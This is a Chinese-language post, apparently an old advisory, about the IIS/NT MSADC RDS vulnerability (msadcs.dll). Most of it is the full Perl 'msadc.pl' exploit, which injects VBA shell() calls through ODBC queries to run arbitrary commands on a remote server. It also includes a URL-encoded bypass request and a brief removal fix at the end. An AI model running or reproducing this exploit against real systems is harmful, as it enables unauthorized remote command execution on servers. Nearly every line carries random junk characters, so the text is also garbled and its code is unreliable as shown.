IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
Ul[ >LKFY ~GfcI:Zz & 涉及程序：
6mEW*qp2F Microsoft NT server
`q e L$` W.\HfJ74 描述：
i#1T68y} 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
P58U8MEG rK~362|mo 详细：
K 3&MR=#^ 如果你没有时间读详细内容的话，就删除:
5 d(A( c:\Program Files\Common Files\System\Msadc\msadcs.dll
ckt^D/c2 有关的安全问题就没有了。
CBSJY&:K !{s $V2_ 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
@V]
Wm1g +M@G 8l 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
m[oe$yH 关于利用ODBC远程漏洞的描述，请参看:
_89
_*t(
$7)O&T*q' http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm E R5Q` H S
M98 7Y!B 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
j1YE_U http://www.microsoft.com/security/bulletins/MS99-025faq.asp Q|gun} D5T\X-+]O 这里不再论述。
; Z61|@Y ]-%ZN+ 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
]rn!+z vG\]xM'u /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
w}NgFrL 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
A
i9*w?C K;6K!6J:[ tb/u@}" ) #将下面这段保存为txt文件，然后: "perl -x 文件名"
*&UVr y%TR2CvT #!perl
'cw0FpQ; #
<l wI| < # MSADC/RDS 'usage' (aka exploit) script
q 9WdJ!-^X #
RO wbzA)]r # by rain.forest.puppy
"XC6 l4Z #
H
gNUr5p # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
<
q; ] # beta test and find errors!
;
tvB{s_ OM!ES%c, use Socket; use Getopt::Std;
Kz3u getopts("e:vd:h:XR", \%args);
&O0+\A9tP z8Dn<h print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
!kASEjFz|f @dCu]0oNI if (!defined $args{h} && !defined $args{R}) {
^# 3$C?d print qq~
gyCb\y+\a Usage: msadc.pl -h <host> { -d <delay> -X -v }
$o]zNW;X -h <host> = host you want to scan (ip or domain)
;S`N q%, -d <seconds> = delay between calls, default 1 second
CM5A-R90 -X = dump Index Server path table, if available
A$XjzT R -v = verbose
nQ$N(2<Fe -e = external dictionary file for step 5
U%k e 5uwP `Q(ac|
0 Or a -R will resume a command session
1LPfn( 'b661,+d ~; exit;}
yH#;k:O= [p o+a@ % $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
kOdS^- if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
=53LapTPJ if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
3<mv9U( if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
\|62E):i1 $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
87<y_P@{ if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
mnmwO(. oN `tZ;a if (!defined $args{R}){ $ret = &has_msadc;
#mkr]K8A4 die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
w,}}mC)\* n"FOCcTIs print "Please type the NT commandline you want to run (cmd /c assumed):\n"
g+k 6pi* . "cmd /c ";
ejr"(m(Xe $in=<STDIN>; chomp $in;
cWRB= `=qz $command="cmd /c " . $in ;
!+hX$_RT VpV w:Rh> if (defined $args{R}) {&load; exit;}
['R=@. hLm9"N 'Pf print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
B. P64"w &try_btcustmr;
"BFW&<1 '|XP}V0I print "\nStep 2: Trying to make our own DSN...";
e/Q [%y.X &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
5\4>H6 o~4 n8 print "\nStep 3: Trying known DSNs...";
:>3&"T. &known_dsn;
c(Ha"tBJ rM=Hd/ki5 print "\nStep 4: Trying known .mdbs...";
{eZ j[* P &known_mdb;
#[KwR\b{:+ ok6e=c ' if (defined $args{e}){
:T{or- print "\nStep 5: Trying dictionary of DSN names...";
8dA/dMQ &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
$s ]@%6 f iM A) (ZS print "Sorry Charley...maybe next time?\n";
zf o.S[R@ exit;
_-!6@^+ CIaabn
##############################################################################
6wu/6DO ] @8= e'V sub sendraw { # ripped and modded from whisker
"V^jAPDXb sleep($delay); # it's a DoS on the server! At least on mine...
%[Ds-my2 my ($pstr)=@_;
I^ >zr.z A socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
&9ZIf#R die("Socket problems\n");
H~G=0_S if(connect(S,pack "SnA4x8",2,80,$target)){
CqX%V":2 select(S); $|=1;
aZ0H) print $pstr; my @in=<S>;
\!^o<$s.G select(STDOUT); close(S);
8U(a&G6gn return @in;
F
Q k; } else { die("Can't connect...\n"); }}
AQ V3ZVP ncA2en? ##############################################################################
hT]p8m
aRZ M^[ jA](a sub make_header { # make the HTTP request
qt:->yiq+ my $msadc=<<EOT
Wey\GQ`"8 POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
' P Yl%2 User-Agent: ACTIVEDATA
HkV/+ {;S~ Host: $ip
~% }g"|o Content-Length: $clen
d:wA I| Connection: Keep-Alive
2 sOc ]L:9 (qG$u& ADCClientVersion:01.06
4[-9$
r Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
)Z _i[1V uB^]5sqfk --!ADM!ROX!YOUR!WORLD!
PA=BNKlH Content-Type: application/x-varg
*7v PU:Q[ Content-Length: $reqlen
6,h<0j { j F5JpyOc EOT
y@O r2b O# ; $msadc=~s/\n/\r\n/g;
'q -h
kN return $msadc;}
.F6#s g Q 9ff, ##############################################################################
kL3=7t^ 1 &
vIKN GJ^ sub make_req { # make the RDS request
a,E;R$[! my ($switch, $p1, $p2)=@_;
Sh*P^i.]+ my $req=""; my $t1, $t2, $query, $dsn;
^\6UTnS. TSk6Q'L\v if ($switch==1){ # this is the btcustmr.mdb query
l
)4 OV> $query="Select * from Customers where City=" . make_shell();
'oEmb k8Hg $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
$+);!?^|: $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
> @%!r x('yBf elsif ($switch==2){ # this is general make table query
`^}9= Q' r $query="create table AZZ (B int, C varchar(10))";
tp]|/cx4 $dsn="$p1";}
=@z"k'Vl` eo8 0L elsif ($switch==3){ # this is general exploit table query
fI|1@e1 $query="select * from AZZ where C=" . make_shell();
L!G3u / $dsn="$p1";}
Q4PXC$ u KJ~pY<a? elsif ($switch==4){ # attempt to hork file info from index server
X , $query="select path from scope()";
gn%"dfm $dsn="Provider=MSIDXS;";}
:
L>d]Hn 3 /e !7 elsif ($switch==5){ # bad query
1%+^SR72 $query="select";
D 5p2 2WY $dsn="$p1";}
F N
R&
: gkdjH8(2 $t1= make_unicode($query);
o (zg_!P $t2= make_unicode($dsn);
L }mhMxOTi $req = "\x02\x00\x03\x00";
%Fv)$ :b $req.= "\x08\x00" . pack ("S1", length($t1));
#? *jdN: $req.= "\x00\x00" . $t1 ;
Pla EI p $req.= "\x08\x00" . pack ("S1", length($t2));
88K*d8m $req.= "\x00\x00" . $t2 ;
ep! .kA=\ $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
6u yf return $req;}
3{l"E(qqZ 7ou^wt+% ##############################################################################
iI1t
P Uww^ Sq sub make_shell { # this makes the shell() statement
;gyE5n-{ return "'|shell(\"$command\")|'";}
S@#L!sT`u 3C2 > ##############################################################################
&M!:,B &)l:m. sub make_unicode { # quick little function to convert to unicode
4l*&3Ar my ($in)=@_; my $out;
c>Se Onf for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
X@)lPr$a return $out;}
2$91+N*w9 kYAvzuGRb ##############################################################################
^bG!k]U!2 (G VGoh& sub rdo_success { # checks for RDO return success (this is kludge)
?2TH("hV$ my (@in) = @_; my $base=content_start(@in);
Z7^}G=* if($in[$base]=~/multipart\/mixed/){
p"@|2a return 1 if( $in[$base+10]=~/^\x09\x00/ );}
k Wd'gftQ return 0;}
DbN'b(+ Q [{v U ##############################################################################
4=Ey\Px dq(x@&J sub make_dsn { # this makes a DSN for us
>g&`g}xZQ my @drives=("c","d","e","f");
+ *V;
f, print "\nMaking DSN: ";
X3[!x Mij foreach $drive (@drives) {
)R4<*
/C:w print "$drive: ";
Nt8( my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
D6u>[Z[T "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
.vO.g/o . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
N z;;X\GI $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
n1Jz49[r return 0 if $2 eq "404"; # not found/doesn't exist
'}u31V"SS if($2 eq "200") {
Pa}vmn1$ foreach $line (@results) {
)VT/kIq-U return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
l+6(|"md } return 0;}
Os{qpR^<I: Z-@}~#E ##############################################################################
!UTJ) & >gl.(b25C sub verify_exists {
(zBQ^97] my ($page)=@_;
={^#E? my @results=sendraw("GET $page HTTP/1.0\n\n");
oK6lCGM5 return $results[0];}
lND[ anB! T8- $[
2 ##############################################################################
:3f2^(b~^ ' T]oV~H sub try_btcustmr {
`?x$J
6p my @drives=("c","d","e","f");
&iZYBa my @dirs=("winnt","winnt35","winnt351","win","windows");
"tM/`:Qp Be+:- t) foreach $dir (@dirs) {
l i-YkaP print "$dir -> "; # fun status so you can see progress
O 0#Jl8 foreach $drive (@drives) {
N+5 ^h(~ print "$drive: "; # ditto
gEP
E9ew $reqlen=length( make_req(1,$drive,$dir) ) - 28;
>9`ep7 $reqlenlen=length( "$reqlen" );
cAS_?"V
a $clen= 206 + $reqlenlen + $reqlen;
R6;>RR U_ {O) &5 my @results=sendraw(make_header() . make_req(1,$drive,$dir));
y6}): | if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
SK52.xXJ else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
4Z }{hc\J 1 1CJT ##############################################################################
s? k[_|)! / JB4 #i7 sub odbc_error {
)*h~dx_c m my (@in)=@_; my $base;
)_cv}. xe my $base = content_start(@in);
@
WaYU if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
9eiBj $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
l ,wN@Nk $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
p8l#=]\ ; $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
L?x?+HPY. return $in[$base+4].$in[$base+5].$in[$base+6];}
Z@!W? Ed print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
I&8m5F?$` print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
I })t $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
C4]%pi 2< Bv=B ##############################################################################
vc #oALc& v v/,Rgv sub verbose {
YS~t d+* my ($in)=@_;
9Z'eBp return if !$verbose;
r z{ 'X d print STDOUT "\n$in\n";}
?(yFwR,( w9$8t 9$| ##############################################################################
(PcK(C!}=\ acQN pT sub save {
;
,jLtl my ($p1, $p2, $p3, $p4)=@_;
<C ;> $kX open(OUT, ">rds.save") || print "Problem saving parameters...\n";
sdYj'e:N print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
e oSM@Isu close OUT;}
v&2@<I> SzX~;pFM0 ##############################################################################
*`Xx _ }Y`<(V5: sub load {
yB%)D0 my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
p"IS"k % open(IN,"<rds.save") || die("Couldn't open rds.save\n");
D|j \ nQ @p=<IN>; close(IN);
8? Wxd65) $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
]fo^43r n{ $target= inet_aton($ip) || die("inet_aton problems");
m,C,<I|'d print "Resuming to $ip ...";
E5G"QnxR>N $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
vUe
* if($p[1]==1) {
,$ zl w\ $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
BK9x`Oo 2 $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
'<< ~wt my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
Uy 5 !H1u if (rdo_success(@results)){print "Success!\n";}
PMhhPw] else { print "failed\n"; verbose(odbc_error(@results));}}
1D p @n elsif ($p[1]==3){
_G #"B{ 7 if(run_query("$p[3]")){
'h> 5 &=r print "Success!\n";} else { print "failed\n"; }}
puN=OX}C elsif ($p[1]==4){
M5WtGIV if(run_query($drvst . "$p[3]")){
/1~|jmi( print "Success!\n"; } else { print "failed\n"; }}
8`2<g0V2 exit;}
,G|aLBn 6F.7Ws < ##############################################################################
nDB 2>J 1] Q 2qs sub create_table {
kN |5
J my ($in)=@_;
]/Yy-T#@ $reqlen=length( make_req(2,$in,"") ) - 28;
OP`Jc$| 6 $reqlenlen=length( "$reqlen" );
?%/u/*9rj $clen= 206 + $reqlenlen + $reqlen;
6 8<Z\WP my @results=sendraw(make_header() . make_req(2,$in,""));
~X< cG=p~u return 1 if rdo_success(@results);
7[v@*/W@ my $temp= odbc_error(@results); verbose($temp);
V!77YFen % return 1 if $temp=~/Table 'AZZ' already exists/;
Y%:0|utQC return 0;}
in #]3QGV E\~ KVn ##############################################################################
ITIj=!F* %M# ?cmt sub known_dsn {
%=9yzIjbAt # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
5%?b5(mnD my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
D&l ,SD "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
UlNfI}#X "banner", "banners", "ads", "ADCDemo", "ADCTest");
7k =F6k0) MiH}VfI foreach $dSn (@dsns) {
6w"( y~c1 print ".";
@D~+D@i$TW next if (!is_access("DSN=$dSn"));
bLEATT[ if(create_table("DSN=$dSn")){
_gm?FxV: print "$dSn successful\n";
n<<=sj$\! if(run_query("DSN=$dSn")){
)w 2K&Zr0 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
J4v0O=" print "Something's borked. Use verbose next time\n";}}} print "\n";}
gZ l w \D U^idp# ##############################################################################
(;pi"/x [ M ?xpwqu\ sub is_access {
AR~$MCR]"k my ($in)=@_;
=v4r M0m, $reqlen=length( make_req(5,$in,"") ) - 28;
^@`e $reqlenlen=length( "$reqlen" );
.3&a{IxM] $clen= 206 + $reqlenlen + $reqlen;
o4 %Vt} K my @results=sendraw(make_header() . make_req(5,$in,""));
/MqXwUbO my $temp= odbc_error(@results);
z {pC7e5 verbose($temp); return 1 if ($temp=~/Microsoft Access/);
uR:=V9O return 0;}
Yi&-m} +an^e' ##############################################################################
^{*f3m/ {[,Wn: sub run_query {
zn
V1kqGU my ($in)=@_;
i&pJg 1 $reqlen=length( make_req(3,$in,"") ) - 28;
6b ]1d04hT $reqlenlen=length( "$reqlen" );
UiR,^/8ED $clen= 206 + $reqlenlen + $reqlen;
r%F(?gKXkd my @results=sendraw(make_header() . make_req(3,$in,""));
_jTw iuMS- return 1 if rdo_success(@results);
9 rT z N my $temp= odbc_error(@results); verbose($temp);
l H)em.# return 0;}
#~4{`]W6 h;% i/feFg ##############################################################################
L n= >@ <r<Dmn|\a sub known_mdb {
j!x<QNNX my @drives=("c","d","e","f","g");
J-tq8 my @dirs=("winnt","winnt35","winnt351","win","windows");
J 0Hm)* my $dir, $drive, $mdb;
J1tzHa6 my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
)
\-96 xd }F{C= l2 # this is sparse, because I don't know of many
V~T`& my @sysmdbs=( "\\catroot\\icatalog.mdb",
'<%Nw-
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
,v*p "\\system32\\certmdb.mdb",
*M w fod "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
df4sOqU U=F-] lD my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
CZJHE> "\\cfusion\\cfapps\\forums\\forums_.mdb",
BbrT f"` "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
|^Ew< "\\cfusion\\cfapps\\security\\realm_.mdb",
}PI35i1!t "\\cfusion\\cfapps\\security\\data\\realm.mdb",
LG=X)w)W4S "\\cfusion\\database\\cfexamples.mdb",
\5'O.*pr "\\cfusion\\database\\cfsnippets.mdb",
`RL,ZoYuu "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
8
"_Bq "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
V$dJmKg "\\cfusion\\brighttiger\\database\\cleam.mdb",
G@!_ZM 8h "\\cfusion\\database\\smpolicy.mdb",
g\ o{}Q%X "\\cfusion\\database\cypress.mdb",
~V2ajM1Z&O "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
4= T pi` "\\website\\cgi-win\\dbsample.mdb",
.pM
&jni Y "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
Z
7s;F}= "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
3@^>#U
); #these are just
hN gpp- foreach $drive (@drives) {
[,O`MU foreach $dir (@dirs){
! Ea&]G foreach $mdb (@sysmdbs) {
cBifZv*l print ".";
^]$$) (jw if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
j:3EpD@GS print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
"xvtq i,R if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
m ~u|VgD print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
aKv[ } else { print "Something's borked. Use verbose next time\n"; }}}}}
50LHF % sDLS*467 foreach $drive (@drives) {
:1aL9 fT foreach $mdb (@mdbs) {
CAUi jMI@ print ".";
A\".t=+7
if(create_table($drv . $drive . $dir . $mdb)){
;Z ]<S_#- print "\n" . $drive . $dir . $mdb . " successful\n";
Fn:.Y8%- if(run_query($drv . $drive . $dir . $mdb)){
VQ`,#`wV print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
]3L@$`ys } else { print "Something's borked. Use verbose next time\n"; }}}}
(8CCesy& }
\!^i;1h0c3 m[Z6VHn
##############################################################################
uR#'lb`3 ^^ G-kg sub hork_idx {
.OmQ' print "\nAttempting to dump Index Server tables...\n";
? k{|Lk print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
L5Urg*GNL $reqlen=length( make_req(4,"","") ) - 28;
- <J q $reqlenlen=length( "$reqlen" );
4~O6$;!|~ $clen= 206 + $reqlenlen + $reqlen;
Zc-#;/b3T my @results=sendraw2(make_header() . make_req(4,"",""));
GAv)QZ yV$ if (rdo_success(@results)){
+XE jXH5K my $max=@results; my $c; my %d;
0iY P for($c=19; $c<$max; $c++){
u_N\iCYp $results[$c]=~s/\x00//g;
b.#^sm// $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
8rFaW $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
J?C k4dQ $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
`#u l,% $d{"$1$2"}="";}
f
hQy36i@ foreach $c (keys %d){ print "$c\n"; }
( %[Tk[ } else {print "Index server doesn't seem to be installed.\n"; }}
!w q4EV kg<P t > ##############################################################################
bE?'C h /xcJo g~F, sub dsn_dict {
N~;*bvW{ open(IN, "<$args{e}") || die("Can't open external dictionary\n");
7))\'\
while(<IN>){
I*Vt ,JYx $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
<EtUnj:qK8 next if (!is_access("DSN=$dSn"));
tp Xa*6 if(create_table("DSN=$dSn")){
vYDSu.C@a print "$dSn successful\n";
D!oZ?dGCo6 if(run_query("DSN=$dSn")){
i;c'P}[K print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
Pg/T^ n& print "Something's borked. Use verbose next time\n";}}}
-'6< print "\n"; close(IN);}
q]px( lR:?uZ$ ##############################################################################
8O6_iGTBh j' +ELKQ sub sendraw2 { # ripped and modded from whisker
A t{U~^ sleep($delay); # it's a DoS on the server! At least on mine...
:q^R
`8;(t my ($pstr)=@_;
;{k= C2 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
BRb\V42i; die("Socket problems\n");
^|#>zCt^ if(connect(S,pack "SnA4x8",2,80,$target)){
S?L#N print "Connected. Getting data";
Go 1 (@ open(OUT,">raw.out"); my @in;
eJ)1K select(S); $|=1; print $pstr;
%tV32l= while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
SB TPTb close(OUT); select(STDOUT); close(S); return @in;
KbAR_T1n } else { die("Can't connect...\n"); }}
QC{u| mzGjRl=O ##############################################################################
1?( c mXj *(G& B\ sub content_start { # this will take in the server headers
ahA{B1M)n my (@in)=@_; my $c;
-0$:|p?@^ for ($c=1;$c<500;$c++) {
'w(y
J if($in[$c] =~/^\x0d\x0a/){
;K_}A4K if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
eIg+PuQD] else { return $c+1; }}}
f])M04< return -1;} # it should never get here actually
NPm; 9JPEj-3`g ##############################################################################
ocF>LR%P jv =EheD sub funky {
!EOQhh my (@in)=@_; my $error=odbc_error(@in);
mQ}Gh_'ps if($error=~/ADO could not find the specified provider/){
G}VDEC print "\nServer returned an ADO miscofiguration message\nAborting.\n";
o@9+mM"B) exit;}
w? *z^y@ if($error=~/A Handler is required/){
;1 |x print "\nServer has custom handler filters (they most likely are patched)\n";
~^&R #4J exit;}
II;Te7~ if($error=~/specified Handler has denied Access/){
~.Cv
DJy print "\nServer has custom handler filters (they most likely are patched)\n";
@RG DhwS47 exit;}}
o)&" Rf GRT] aw ##############################################################################
3pSj kS|?> */w7?QOv sub has_msadc {
jH>8bXQqZ my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
;3;2h+U* my $base=content_start(@results);
CvK3H\.&;k return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
qbiK^g R return 0;}
Z~p!C/B : "<e0wDu[ ########################
@'i+ff\ ; F5"}x <~{du ?4n 解决方案：
*%\mZ,s" 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
S/4r\6 2、移除web 目录: /msadc
